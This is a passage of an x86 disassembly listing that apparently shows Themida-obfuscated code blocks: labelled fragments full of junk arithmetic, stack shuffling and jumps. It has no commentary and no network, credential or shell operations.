jmp loc_5693C8
; ---------------------------------------------------------------------------
loc_56D612: ; CODE XREF: sub_562ABA-2FB2j
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_570402
; ---------------------------------------------------------------------------
loc_56D624: ; CODE XREF: sub_562ABA+A040j
pop edx
jmp loc_568914
; ---------------------------------------------------------------------------
loc_56D62A: ; CODE XREF: sub_562ABA-2F68j
add ebx, 4
add ebx, 2
sub esp, 4
jmp loc_56D3E5
; ---------------------------------------------------------------------------
loc_56D63E: ; CODE XREF: sub_562ABA+1DFFj
push ebx
mov ebx, 50C87197h
inc ebx
add ebx, 67DB49F1h
add ebx, 475C447Bh
add esi, ebx
pop ebx
sub esi, 4
xchg esi, [esp+26h+var_28+2]
pop esp
mov [esp+22h+var_22], esi
jmp loc_560060
; ---------------------------------------------------------------------------
loc_56D666: ; CODE XREF: sub_562ABA+4F72j
pop ebp
push ebx
mov ebx, 285D3FAAh
jmp loc_56E56F
; ---------------------------------------------------------------------------
loc_56D672: ; CODE XREF: sub_562ABA-E3Bj
push ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56D67A: ; CODE XREF: sub_562ABA+C843j
sub eax, edi
mov edi, [esp+1Ch+var_1E+2]
add esp, 4
add edx, eax
jmp loc_55F5D6
; ---------------------------------------------------------------------------
loc_56D689: ; CODE XREF: sub_562ABA-23F7j
mov dh, 92h
and ch, dh
pop dx
add ch, 68h
and bl, ch
mov ecx, [esp+0]
add esp, 4
sub bl, 79h
jmp loc_56EB73
; ---------------------------------------------------------------------------
loc_56D6A5: ; CODE XREF: sub_562ABA+B870j
mov ecx, 6AC21E73h
jmp loc_560C8B
; ---------------------------------------------------------------------------
loc_56D6AF: ; CODE XREF: sub_562ABA+B335j
add edx, 548447D5h
mov esi, [esp-4+arg_0]
add esp, 4
sub edx, 4
push edx
push [esp-4+arg_4]
mov edx, [esp+0]
jmp loc_569C53
; ---------------------------------------------------------------------------
loc_56D6CB: ; CODE XREF: sub_562ABA+2342j
xor ecx, edi
xor edi, ecx
not ecx
xchg ecx, edi
jmp loc_56B346
; ---------------------------------------------------------------------------
loc_56D6D8: ; CODE XREF: sub_562ABA-1333j
sub esi, 0FFFFFFFFh
neg esi
push 52BEh
mov [esp+32h+var_32], eax
mov eax, 0B320ACEh
jmp loc_56913F
; ---------------------------------------------------------------------------
loc_56D6F2: ; CODE XREF: sub_562ABA+132Dj
add esp, 4
pop ecx
add al, 5Dh
jmp loc_572A11
; ---------------------------------------------------------------------------
loc_56D6FD: ; CODE XREF: sub_562ABA+1901j
sub dh, 65h
sub dh, 68h
jmp loc_566B90
; ---------------------------------------------------------------------------
loc_56D708: ; CODE XREF: sub_562ABA+DC98j
mov ah, 7Eh
jmp loc_568CA9
; ---------------------------------------------------------------------------
loc_56D70F: ; CODE XREF: sub_562ABA+A8E8j
add esp, 4
push 7030h
mov [esp+42h+var_42], esi
jmp loc_5691F6
; ---------------------------------------------------------------------------
loc_56D722: ; CODE XREF: sub_562ABA+619Bj
mov [esp+22h+var_22], esp
add [esp+22h+var_22], 4
pop [esp+22h+var_22]
push eax
mov eax, 4
add [esp+22h+var_1E], eax
pop eax
jmp loc_568D83
; ---------------------------------------------------------------------------
loc_56D73F: ; CODE XREF: sub_562ABA+9989j
xor esi, 0BE8A9C96h
mov edi, esi
pop esi
add eax, edi
jmp loc_560C67
; ---------------------------------------------------------------------------
loc_56D74F: ; CODE XREF: sub_562ABA+775Cj
sub dl, 0ECh
push ax
mov al, 0C9h
or dl, al
pop ax
xor dl, 6Ch
mov cl, dl
pop edx
push eax
mov ah, 0FBh
jmp loc_55F3D7
; ---------------------------------------------------------------------------
loc_56D768: ; CODE XREF: sub_562ABA+A992j
push 3FEAh
mov [esp+18h+var_1A+2], ecx
mov ch, 11h
jmp loc_571C54
; ---------------------------------------------------------------------------
loc_56D777: ; CODE XREF: sub_562ABA+399Bj
push 60DEh
jmp loc_56FEDA
; ---------------------------------------------------------------------------
loc_56D781: ; CODE XREF: sub_562ABA+E73Aj
shr edx, 7
sub edx, 0E9BB5976h
or ebp, edx
pop edx
jmp loc_5680F9
; ---------------------------------------------------------------------------
loc_56D792: ; CODE XREF: sub_562ABA-28D0j
push eax
push edi
push eax
jmp loc_562BBE
; ---------------------------------------------------------------------------
loc_56D79A: ; CODE XREF: sub_562ABA+5718j
or dh, 8Ch
sub dh, 0C9h
jmp loc_56078C
; ---------------------------------------------------------------------------
loc_56D7A5: ; CODE XREF: sub_562ABA+C51Dj
and ebx, 3ACA5F10h
push 3A3Ah
jmp loc_572314
; ---------------------------------------------------------------------------
loc_56D7B5: ; CODE XREF: sub_562ABA+A51Fj
pop eax
xchg ebp, [esp-0Eh+arg_8+2]
jmp loc_56C1EA
; ---------------------------------------------------------------------------
loc_56D7BE: ; CODE XREF: sub_562ABA+C419j
pop edx
add esp, 4
push ecx
push [esp-12h+arg_10+2]
pop ecx
pop [esp-12h+arg_C+2]
mov esp, [esp-16h+arg_10+2]
jmp loc_569BF4
; ---------------------------------------------------------------------------
loc_56D7D3: ; CODE XREF: sub_562ABA+47A1j
sub esp, 4
mov [esp+26h+var_28+2], edi
jmp loc_568698
; ---------------------------------------------------------------------------
loc_56D7E1: ; CODE XREF: sub_562ABA+BBC0j
pop eax
jmp loc_57081E
; ---------------------------------------------------------------------------
loc_56D7E7: ; CODE XREF: sub_562ABA+674Ej
add esp, 4
neg edx
shr edx, 4
jmp loc_56FBD6
; ---------------------------------------------------------------------------
lodsb
jmp loc_566EFD
; ---------------------------------------------------------------------------
loc_56D7FA: ; CODE XREF: sub_562ABA-39B8j
mov [esp+36h+var_36], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push [esp+3Ah+var_36]
pop ebp
pop [esp+3Ah+var_3A]
pop esp
mov [esp+32h+var_32], esp
jmp loc_561EA1
; ---------------------------------------------------------------------------
loc_56D81A: ; CODE XREF: sub_562ABA+E625j
pop ecx
add ecx, eax
pop eax
push 1F0h
mov [esp+0], ecx
push [esp+2Eh+var_2C+2]
mov ecx, [esp+32h+var_32]
jmp sub_561F0E
; ---------------------------------------------------------------------------
loc_56D832: ; CODE XREF: sub_562ABA+D526j
push [esp+32h+var_32]
pop ebp
add esp, 4
mov ebx, [esp+0]
push ecx
jmp loc_56194B
; ---------------------------------------------------------------------------
loc_56D842: ; CODE XREF: sub_562ABA+53B7j
add al, 5Ah
jmp loc_570229
; ---------------------------------------------------------------------------
loc_56D849: ; CODE XREF: sub_562ABA+C6AFj
push eax
jmp loc_56944B
; ---------------------------------------------------------------------------
loc_56D84F: ; CODE XREF: sub_562ABA+A3ECj
push edx
mov edx, 67628C1h
sub ecx, edx
mov edx, [esp+46h+var_46]
add esp, 4
push [esp+42h+var_42]
pop ebp
add esp, 4
jmp loc_568BB1
; ---------------------------------------------------------------------------
loc_56D86C: ; CODE XREF: sub_562ABA+7080j
mov [esp+0Ah+var_C+2], ebx
mov ebx, 451C54A0h
xor ebx, 2E5F4C62h
mov edx, 6B4398C2h
xor edx, ebx
pop ebx
and eax, edx
pop edx
or eax, eax
jz loc_570C5D
push dword ptr [edi+1Ch]
push [esp+6+var_8+2]
push [esp+0Ah+var_C+2]
push dword ptr [esp+0]
jmp loc_57178A
; ---------------------------------------------------------------------------
loc_56D89E: ; CODE XREF: sub_562ABA+3CD3j
or edi, 427C2EE1h
shr edi, 6
xor edi, 1139A769h
or esi, edi
pop edi
push ebx
mov ebx, 5C270C0Ah
shl ebx, 2
jmp loc_56FD43
; ---------------------------------------------------------------------------
loc_56D8BE: ; CODE XREF: sub_562ABA+3C94j
push 10DEh
mov [esp+26h+var_28+2], eax
mov eax, esp
push 6E3Ah
mov [esp+2Ah+var_2C+2], edi
mov edi, 31A31CAFh
add edi, 0FFFFFFFFh
add edi, 17E03098h
jmp loc_56364F
; ---------------------------------------------------------------------------
loc_56D8E6: ; CODE XREF: sub_562ABA+2E19j
mov bx, word ptr [esp+32h+var_32]
sub esp, 4
jmp loc_565D42
; ---------------------------------------------------------------------------
loc_56D8F5: ; CODE XREF: sub_562ABA+D05Bj
pop esp
xor eax, [esp+32h+var_32]
xor [esp+32h+var_32], eax
xor eax, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
shl [esp+32h+var_32], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56D90B: ; CODE XREF: sub_562ABA+59F2j
push ecx
push eax
jmp loc_570DC0
; ---------------------------------------------------------------------------
loc_56D912: ; CODE XREF: sub_562ABA+647Bj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+22h+var_22]
pop esp
mov [esp+1Eh+var_1E], ebx
push 4
pop ebx
add edx, ebx
pop ebx
push ebx
mov ebx, 4B09ADh
add ebx, 0FFB4F657h
add edx, ebx
mov ebx, [esp+1Eh+var_1E]
add esp, 4
sub esp, 4
mov [esp+1Eh+var_1E], edx
push [esp+1Eh+var_1A]
pop edx
pop [esp+1Eh+var_1E]
pop esp
jmp loc_568E67
; ---------------------------------------------------------------------------
lodsd
jmp loc_572778
; ---------------------------------------------------------------------------
loc_56D95B: ; CODE XREF: sub_562ABA-2E32j
add esp, 4
add esi, 18134156h
xor esi, 17D50AEh
or esi, 1984578Ah
jmp loc_571E70
; ---------------------------------------------------------------------------
loc_56D978: ; CODE XREF: sub_562ABA+10008j
mov ebp, [esp+0]
add esp, 4
jmp loc_56B5C5
; ---------------------------------------------------------------------------
loc_56D986: ; CODE XREF: sub_562ABA+13B6j
sub eax, ecx
mov ecx, [esp-0Ah+arg_4+2]
add esp, 4
push 0D1Dh
mov [esp-0Ah+arg_4+2], ebp
jmp loc_56B405
; ---------------------------------------------------------------------------
loc_56D99E: ; CODE XREF: sub_56202E+Cj
sub ebx, ecx
pop ecx
dec ebx
push esi
mov esi, 2A36BECh
or esi, 5D955B5Bh
shr esi, 4
sub esi, 0E1EAADBEh
jmp loc_568636
; ---------------------------------------------------------------------------
loc_56D9BC: ; CODE XREF: sub_562ABA+D8DCj
pop edi
sub esp, 4
mov [esp-0Ah+arg_4+2], ebx
mov ebx, 47863E05h
dec ebx
push edx
mov edx, 0DC40CA0h
jmp loc_564BC5
; ---------------------------------------------------------------------------
loc_56D9D4: ; CODE XREF: sub_562ABA+6C5Bj
pop edx
jmp loc_567E1B
; ---------------------------------------------------------------------------
loc_56D9DA: ; CODE XREF: sub_562ABA+7FCj
sub esp, 4
mov [esp+3Ah+var_3A], eax
push ecx
push 684D442Fh
pop ecx
jmp loc_567DE8
; ---------------------------------------------------------------------------
loc_56D9EF: ; CODE XREF: sub_562ABA+B1D9j
add ebp, 4
jmp loc_567474
; ---------------------------------------------------------------------------
loc_56D9FA: ; CODE XREF: sub_562ABA+6F84j
mov [esp+0Ah+var_C+2], ecx
push 392Bh
mov [esp+0], eax
push ecx
mov cl, dl
push edx
jmp loc_56E7DF
; ---------------------------------------------------------------------------
loc_56DA0E: ; CODE XREF: sub_562ABA+BB35j
push ebx
sub esp, 4
mov [esp+1Eh+var_1E], edx
mov dl, 0E8h
jmp loc_561DEB
; ---------------------------------------------------------------------------
loc_56DA1C: ; CODE XREF: sub_562ABA-4124j
push esi
push 7C3Eh
push 632Fh
mov [esp+26h+var_28+2], esp
jmp loc_56D0D1
; ---------------------------------------------------------------------------
loc_56DA2F: ; CODE XREF: sub_562ABA+B06j
pop ecx
push ebx
mov ebx, 0CF6ADE4Bh
jmp loc_56CF4B
; ---------------------------------------------------------------------------
loc_56DA3B: ; CODE XREF: sub_562ABA+842Bj
push 53CBh
jmp loc_56FDA2
; ---------------------------------------------------------------------------
loc_56DA45: ; CODE XREF: sub_55FCA5+421j
and eax, esi
pop esi
and eax, 5C60126h
shl eax, 4
jmp loc_560B67
; ---------------------------------------------------------------------------
loc_56DA55: ; CODE XREF: sub_562ABA+2013j
xor ebx, [esp+40h+var_42+2]
jmp loc_563135
; ---------------------------------------------------------------------------
loc_56DA5D: ; CODE XREF: sub_562ABA+1065j
add esp, 4
push ebp
jmp loc_568834
; ---------------------------------------------------------------------------
loc_56DA66: ; DATA XREF: Themida_:0055DFD0o
push dword ptr [edi+1Ch]
popf
pop ax
adc word ptr [esp+40h+var_42+2], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56DA76: ; CODE XREF: sub_562ABA-128Dj
add ecx, ebx
pop ebx
add ecx, edi
sub ecx, 77B12C79h
mov edi, [esp+2Ah+var_2C+2]
push eax
mov eax, esp
jmp loc_561684
; ---------------------------------------------------------------------------
loc_56DA8C: ; CODE XREF: sub_562ABA+FC55j
mov edi, 4A981B63h
jmp loc_5600CB
; ---------------------------------------------------------------------------
loc_56DA96: ; CODE XREF: sub_562ABA+3020j
push 4B9828F1h
pop ecx
not ecx
xor ecx, 0B6AF93D0h
mov edx, ecx
pop ecx
inc edx
not edx
shl edx, 7
push edx
xchg edi, [esp+4Eh+var_4E]
jmp loc_572C4D
; ---------------------------------------------------------------------------
loc_56DAB6: ; CODE XREF: sub_562ABA-3EAAj
add esp, 4
pop esi
not esi
sub esp, 4
mov [esp+2Ah+var_2C+2], edx
push 63EFh
jmp loc_55E7B9
; ---------------------------------------------------------------------------
loc_56DAD2: ; CODE XREF: sub_562ABA+98D3j
not ebx
inc ebx
or ebx, 0DC16069h
jmp loc_564E01
; ---------------------------------------------------------------------------
loc_56DAE0: ; CODE XREF: sub_562ABA+1B2j
add ebx, eax
jmp loc_55FF7F
; ---------------------------------------------------------------------------
loc_56DAE7: ; CODE XREF: sub_562ABA-165Cj
mov [esp+0], ecx
mov ecx, 61D6535Eh
add ebx, 62D35C55h
sub ebx, ecx
sub ebx, 62D35C55h
mov ecx, [esp+0]
push 306h
mov [esp+12h+var_12], edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_564DAD
; ---------------------------------------------------------------------------
loc_56DB18: ; CODE XREF: sub_562ABA+7F7Ej
mov edx, [esp+1Ah+var_1A]
jmp sub_56099B
; ---------------------------------------------------------------------------
loc_56DB20: ; CODE XREF: Themida_:00571FDBj
sub esp, 4
mov [esp+1Eh+var_1E], ecx
mov ecx, esp
push 2B78h
mov [esp+22h+var_22], ebx
mov ebx, 4
jmp loc_560A53
; ---------------------------------------------------------------------------
loc_56DB3D: ; CODE XREF: sub_562ABA+FE4Bj
sub eax, 50A460BFh
jmp loc_55FC62
; ---------------------------------------------------------------------------
loc_56DB47: ; CODE XREF: sub_562ABA+7830j
push ebp
pop edi
pop ebp
and edi, 3455550Dh
add edi, 2D8A06D1h
and edx, edi
pop edi
jmp loc_567775
; ---------------------------------------------------------------------------
loc_56DB5E: ; CODE XREF: sub_562ABA+772Aj
push edx
push ecx
mov ecx, 0A5B4204h
shr ecx, 7
add ecx, 0DEC957Bh
mov edx, ecx
pop ecx
dec edx
not edx
shr edx, 3
sub edx, 633651EBh
dec edx
neg edx
push ecx
mov ecx, 559B062Bh
neg ecx
jmp loc_56FC2C
; ---------------------------------------------------------------------------
loc_56DB8D: ; CODE XREF: sub_562ABA+6FADj
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp+2Ah+var_2C+2], ebp
push ebp
mov ebp, esp
jmp loc_56EE6A
; ---------------------------------------------------------------------------
loc_56DBA8: ; CODE XREF: sub_562ABA+39F3j
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push [esp+3Eh+var_3A]
jmp loc_56529C
; ---------------------------------------------------------------------------
loc_56DBBE: ; CODE XREF: sub_562ABA+3B86j
push esp
pop edi
push ecx
mov ecx, 2AFC1407h
xor ecx, 2AFC1403h
add edi, 1BD105BEh
jmp loc_561C99
; ---------------------------------------------------------------------------
loc_56DBD7: ; CODE XREF: sub_562ABA+4707j
push eax
mov eax, 121A28A4h
jmp loc_55E0D4
; ---------------------------------------------------------------------------
loc_56DBE2: ; CODE XREF: sub_562ABA-29j
sub ebx, 80EFD2CCh
jmp loc_55EC4B
; ---------------------------------------------------------------------------
loc_56DBED: ; CODE XREF: sub_562ABA+E9F3j
sub esp, 4
mov [esp+26h+var_28+2], ebp
push [esp+26h+var_22]
pop ebp
pop [esp+26h+var_28+2]
jmp loc_5693E0
; ---------------------------------------------------------------------------
loc_56DC03: ; CODE XREF: sub_562ABA+FDF1j
add ebx, 4
sub esp, 4
mov [esp+26h+var_28+2], edi
jmp loc_56C894
; ---------------------------------------------------------------------------
loc_56DC17: ; CODE XREF: sub_562ABA+1357j
xchg ebp, [esp+1Eh+var_1E]
pop esp
mov [esp+1Ah+var_1A], esi
push [esp+1Ah+var_16]
jmp loc_56F5F9
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+1Eh+var_1E]
push ebp
push esp
mov ebp, [esp+26h+var_28+2]
jmp loc_571F62
; ---------------------------------------------------------------------------
loc_56DC35: ; CODE XREF: Themida_:005623D6j
mov ebp, esp
push ebx
push edx
jmp loc_571453
; ---------------------------------------------------------------------------
loc_56DC3E: ; CODE XREF: sub_562ABA+8E6Dj
sub ebx, ebp
push [esp+1Eh+var_1E]
pop ebp
add esp, 4
mov dx, word ptr [esp+1Ah+var_1A]
push 27AEh
mov [esp+1Eh+var_1E], ebx
mov ebx, esp
push esi
mov esi, 7F1F12C1h
or esi, 71FC7515h
and esi, 49907D27h
add esi, 4D8F4EAEh
neg esi
push edi
mov edi, 1
jmp loc_568170
; ---------------------------------------------------------------------------
loc_56DC7A: ; CODE XREF: sub_562ABA+F310j
push 66E1h
jmp loc_562C9B
; ---------------------------------------------------------------------------
loc_56DC84: ; CODE XREF: sub_562ABA+DC77j
mov ebp, [esp+2Ah+var_2C+2]
add esp, 4
add ebp, 4
jmp loc_56D9EF
; ---------------------------------------------------------------------------
loc_56DC98: ; CODE XREF: sub_562ABA+CB70j
inc ebp
not ebp
not ebp
push 2C43h
mov [esp+2Ah+var_2C+2], ebx
mov ebx, 749F3259h
shl ebx, 5
not ebx
shr ebx, 8
dec ebx
xor ebx, 579B0782h
add ebx, 0AA87B0F3h
sub ebp, ebx
pop ebx
sub ebx, ebp
pop ebp
jmp loc_560621
; ---------------------------------------------------------------------------
loc_56DCCA: ; CODE XREF: sub_562ABA+4499j
mov [esp+12h+var_12], ecx
push eax
mov ah, 24h
mov cl, 0D5h
jmp loc_56BBBA
; ---------------------------------------------------------------------------
loc_56DCD7: ; CODE XREF: sub_562ABA+5B9Dj
mov ch, 0E6h
sub bl, ch
pop ecx
push [esp+0Ch+var_C]
mov edx, [esp+10h+var_12+2]
add esp, 4
jmp loc_56B5A1
; ---------------------------------------------------------------------------
push [esp+0Ch+var_C]
mov eax, [esp+10h+var_12+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp+14h+var_16+2]
jmp loc_568FBD
; ---------------------------------------------------------------------------
loc_56DD07: ; CODE XREF: sub_562ABA+2054j
add esi, 5265E017h
add edi, esi
pop esi
add edi, ebx
push ebx
mov ebx, 52F83608h
inc ebx
add ebx, 0FCE72F0Eh
sub edi, ebx
jmp loc_572560
; ---------------------------------------------------------------------------
loc_56DD26: ; CODE XREF: sub_562ABA-4723j
mov cl, 71h
jmp loc_5632C2
; ---------------------------------------------------------------------------
loc_56DD2D: ; CODE XREF: sub_562ABA+4646j
push [esp+4Ch+var_4E+2]
pop ebx
add esp, 4
push ecx
mov cl, 19h
shl cl, 4
jmp loc_56A79E
; ---------------------------------------------------------------------------
loc_56DD3F: ; CODE XREF: sub_562ABA+5313j
mov [esp+1Ch+var_1E+2], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+1Ch+var_1E+2]
pop esp
add bl, al
push eax
mov ah, 48h
add bl, 30h
sub bl, 1Eh
sub bl, ah
add bl, 1Eh
sub bl, 30h
mov eax, [esp+1Ch+var_1E+2]
add esp, 4
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56DD76: ; CODE XREF: sub_562ABA+2CCBj
mov [esp+6+var_8+2], ebp
mov ebp, esp
add ebp, 4
jmp loc_56C3C9
; ---------------------------------------------------------------------------
loc_56DD86: ; CODE XREF: sub_562ABA+E416j
pop ebx
sub al, ch
add al, 0F8h
pop ecx
add al, 15h
sub al, 97h
sub al, cl
add al, 97h
push edx
push eax
mov al, 15h
push ebx
push ecx
jmp loc_560C25
; ---------------------------------------------------------------------------
loc_56DD9F: ; CODE XREF: sub_562ABA+2A6Fj
add [esp+36h+var_36], 4
pop edi
push eax
mov eax, 32992781h
xor eax, 32992785h
add edi, eax
pop eax
add edi, 4
jmp loc_56CABD
; ---------------------------------------------------------------------------
loc_56DDBA: ; CODE XREF: sub_562ABA+7E3Bj
pop esp
jmp loc_570083
; ---------------------------------------------------------------------------
loc_56DDC0: ; CODE XREF: sub_562ABA+9C50j
mov esi, 66535ED3h
push ebp
jmp loc_55EC3F
; ---------------------------------------------------------------------------
loc_56DDCB: ; CODE XREF: sub_562ABA+3E0j
mov ebp, esp
jmp loc_568FE3
; ---------------------------------------------------------------------------
loc_56DDD2: ; CODE XREF: sub_562ABA+5D87j
not edi
xchg edi, ebp
xor ebp, 3AA31022h
add ebp, 81196793h
sub edx, ebp
mov ebp, [esp+1Eh+var_1E]
add esp, 4
add edx, esi
jmp loc_56D6AF
; ---------------------------------------------------------------------------
loc_56DDF4: ; CODE XREF: sub_562ABA+CF67j
mov eax, 1C3A5943h
jmp loc_560A72
; ---------------------------------------------------------------------------
loc_56DDFE: ; CODE XREF: sub_562ABA+498Dj
push ebx
mov ebx, 4
add edi, ebx
jmp loc_5673CB
; ---------------------------------------------------------------------------
loc_56DE0B: ; CODE XREF: sub_562ABA-DADj
mov [esp+16h+var_16], ebx
mov bl, 55h
add cl, 18h
add cl, bl
sub cl, 18h
pop ebx
sub al, cl
mov ecx, [esp+12h+var_12]
add esp, 4
push edx
push small 655Ch
jmp loc_55E443
; ---------------------------------------------------------------------------
loc_56DE2B: ; CODE XREF: sub_562ABA+FD47j
push edi
mov edi, 4
sub ecx, edi
pop edi
xor ecx, [esp+14h+var_16+2]
xor [esp+14h+var_16+2], ecx
jmp loc_5620B4
; ---------------------------------------------------------------------------
loc_56DE3F: ; CODE XREF: sub_562ABA+3AA6j
shl ebx, 1
xor ebx, 2DB80574h
add ecx, ebx
pop ebx
push edx
mov edx, 4
add ecx, edx
jmp loc_56EED0
; ---------------------------------------------------------------------------
loc_56DE57: ; CODE XREF: sub_562ABA+1894j
push 4FBFh
mov [esp+50h+var_52+2], ebx
mov ebx, 6D7B6193h
sub ebx, 2FAB0E7Dh
and ebx, 36DF4DC2h
sub ebx, 0B867DDF8h
jmp loc_569D83
; ---------------------------------------------------------------------------
loc_56DE7B: ; CODE XREF: sub_562ABA+4CFDj
mov edi, 2
mov ebx, edi
pop edi
jmp loc_5650A9
; ---------------------------------------------------------------------------
loc_56DE88: ; CODE XREF: sub_562ABA+D185j
xchg ebp, ecx
not ebp
jmp loc_571E57
; ---------------------------------------------------------------------------
loc_56DE91: ; CODE XREF: sub_55FCA5+3DBj
push eax
mov eax, esp
push ebp
mov ebp, 2C7A6EBAh
shl ebp, 5
dec ebp
or ebp, 10FF3AE3h
neg ebp
inc ebp
jmp loc_570A96
; ---------------------------------------------------------------------------
loc_56DEAC: ; CODE XREF: sub_562ABA+353Dj
mov edi, 4
sub edx, edi
jmp loc_561A2D
; ---------------------------------------------------------------------------
loc_56DEB8: ; CODE XREF: sub_562ABA+4BF8j
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp+0]
mov esp, [esp+0]
push edx
push esi
push 4
pop esi
push esi
xor [esp+1Ah+var_1A], 66066AAEh
pop edx
xor edx, 66066AAEh
pop esi
jmp loc_5614AD
; ---------------------------------------------------------------------------
loc_56DEE9: ; CODE XREF: sub_562ABA+93B9j
pop esp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56DEEF: ; CODE XREF: sub_562ABA+ECB0j
push [esp+2Ah+var_2C+2]
pop edx
add esp, 4
or eax, eax
jz loc_55E567
push dword ptr [edi+1Ch]
jmp loc_56EA05
; ---------------------------------------------------------------------------
loc_56DF09: ; CODE XREF: sub_55FCA5+122A5j
push [esp+2Ah+var_2C+2]
pop ebp
add esp, 4
pop [esp+26h+var_28+2]
mov esp, [esp+22h+var_22]
btc word ptr [esp+22h+var_22], ax
pushf
jmp loc_56A75A
; ---------------------------------------------------------------------------
loc_56DF21: ; CODE XREF: sub_562ABA+DB09j
sub [esp+26h+var_1E], 575A5B70h
jmp loc_57225B
; ---------------------------------------------------------------------------
loc_56DF2E: ; CODE XREF: sub_562ABA+C1A4j
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
mov ebp, [esp+2Ah+var_2C+2]
add esp, 4
xchg edx, [esp+26h+var_28+2]
mov esp, [esp+26h+var_28+2]
mov ebx, eax
jmp loc_565102
; ---------------------------------------------------------------------------
loc_56DF51: ; CODE XREF: sub_562ABA+A4BDj
add edi, eax
mov eax, [esp+1Ah+var_1A]
jmp loc_55FD36
; ---------------------------------------------------------------------------
loc_56DF5B: ; CODE XREF: sub_562ABA+60D7j
mov eax, ecx
pop ecx
add edx, eax
pop eax
jmp loc_56C73B
; ---------------------------------------------------------------------------
loc_56DF66: ; CODE XREF: sub_562ABA+E221j
xchg eax, ebp
sub eax, 0FFFFFFFFh
xchg eax, ebp
shr ebp, 5
xor ebp, 13B0B419h
add eax, 12EE40FCh
add eax, ebp
sub eax, 12EE40FCh
pop ebp
mov ebx, [esp+12h+var_12]
push 69E2h
jmp loc_5621F5
; ---------------------------------------------------------------------------
loc_56DF90: ; CODE XREF: sub_562ABA+A704j
mov [esp+2Ah+var_2C+2], eax
mov eax, 4
add edx, eax
pop eax
jmp loc_562E27
; ---------------------------------------------------------------------------
loc_56DFA0: ; CODE XREF: sub_562ABA+4765j
add esp, 4
pop ebp
jmp loc_56F45D
; ---------------------------------------------------------------------------
loc_56DFA9: ; CODE XREF: sub_562ABA+51D3j
sub eax, 73D19E1h
jmp loc_55EBF4
; ---------------------------------------------------------------------------
loc_56DFB3: ; CODE XREF: sub_562ABA+C315j
add esi, ebx
pop ebx
push ebx
mov ebx, 2EEB56D7h
jmp loc_56BC54
; ---------------------------------------------------------------------------
loc_56DFC1: ; CODE XREF: sub_562ABA+C6A7j
add eax, 3F30E38h
add eax, edx
sub eax, 3F30E38h
push [esp+3Eh+var_3E]
pop edx
add esp, 4
sub eax, 65D5761h
push ebx
mov ebx, 6F2D50C2h
jmp loc_55FE19
; ---------------------------------------------------------------------------
loc_56DFE4: ; CODE XREF: sub_562ABA+4C38j
mov [esp+26h+var_28+2], edx
pop dword ptr [edi+20h]
jmp loc_561A3A
; ---------------------------------------------------------------------------
loc_56DFEF: ; CODE XREF: sub_562ABA+1631j
push [esp+12h+var_12]
pop esi
add esp, 4
push ecx
jmp loc_565F36
; ---------------------------------------------------------------------------
loc_56DFFC: ; CODE XREF: sub_562ABA-140Aj
pop ebx
add edx, 30B0995h
sub edx, esi
sub edx, 30B0995h
pop esi
jmp loc_563613
; ---------------------------------------------------------------------------
loc_56E011: ; CODE XREF: sub_562ABA+7C58j
ror word ptr [esp-0Ah+arg_4+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56E01B: ; CODE XREF: sub_562ABA+D4Aj
pop ecx
add esp, 4
xchg edi, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
idiv ecx
push 15B0h
mov [esp+1Ah+var_1A], edx
jmp loc_56D39A
; ---------------------------------------------------------------------------
lodsd
add eax, 24DC5910h
add eax, 4E2D4719h
add eax, 57FB4557h
sub eax, ebx
jmp loc_571B97
; ---------------------------------------------------------------------------
loc_56E04E: ; CODE XREF: sub_562ABA+46Dj
mov ecx, eax
pop eax
jmp loc_56A64A
; ---------------------------------------------------------------------------
loc_56E056: ; CODE XREF: sub_562ABA+F68Bj
sub [esp+1Ch+var_16+2], ebp
jmp loc_5638CF
; ---------------------------------------------------------------------------
loc_56E05F: ; CODE XREF: sub_562ABA+7AB0j
pop ebp
push ecx
push ebp
pop ecx
pop ebp
jmp loc_561074
; ---------------------------------------------------------------------------
loc_56E069: ; CODE XREF: sub_562ABA+2B97j
and ebp, 14D5326Eh
sub ebp, 6AE12CEBh
sub ebp, 9570602h
or ebp, 3E83356Ah
jmp loc_55FA40
; ---------------------------------------------------------------------------
loc_56E086: ; CODE XREF: sub_562ABA+C91Cj
shl edi, 8
jmp loc_57034F
; ---------------------------------------------------------------------------
loc_56E08E: ; CODE XREF: sub_562ABA+FD8Aj
not ecx
jmp loc_568852
; ---------------------------------------------------------------------------
loc_56E095: ; CODE XREF: sub_562ABA+D26Ej
mov ecx, 38266D02h
dec ecx
not ecx
push edi
mov edi, 54057336h
jmp loc_56FB1A
; ---------------------------------------------------------------------------
loc_56E0A8: ; CODE XREF: sub_562ABA+37B1j
push 5F48h
mov [esp+3Ch+var_3E+2], ecx
jmp loc_560E06
; ---------------------------------------------------------------------------
loc_56E0B5: ; CODE XREF: sub_562ABA+26F3j
mov edx, 3F895AACh
sub esi, edx
jmp loc_568F1A
; ---------------------------------------------------------------------------
loc_56E0C1: ; CODE XREF: sub_562ABA+48F9j
add dh, 0A0h
mov cl, dh
pop edx
mov bl, cl
pop ecx
sub bl, 0CCh
add bl, 0C3h
jmp loc_570574
; ---------------------------------------------------------------------------
loc_56E0D5: ; CODE XREF: sub_562ABA+681Aj
mov edi, 4
sub ebp, 3BAD527Ah
jmp loc_56E561
; ---------------------------------------------------------------------------
loc_56E0E5: ; CODE XREF: sub_562ABA+90D5j
mov bh, 5
push edx
mov dl, 80h
xor dl, 9Fh
dec dl
jmp loc_571D38
; ---------------------------------------------------------------------------
loc_56E0F4: ; CODE XREF: sub_562ABA+50DBj
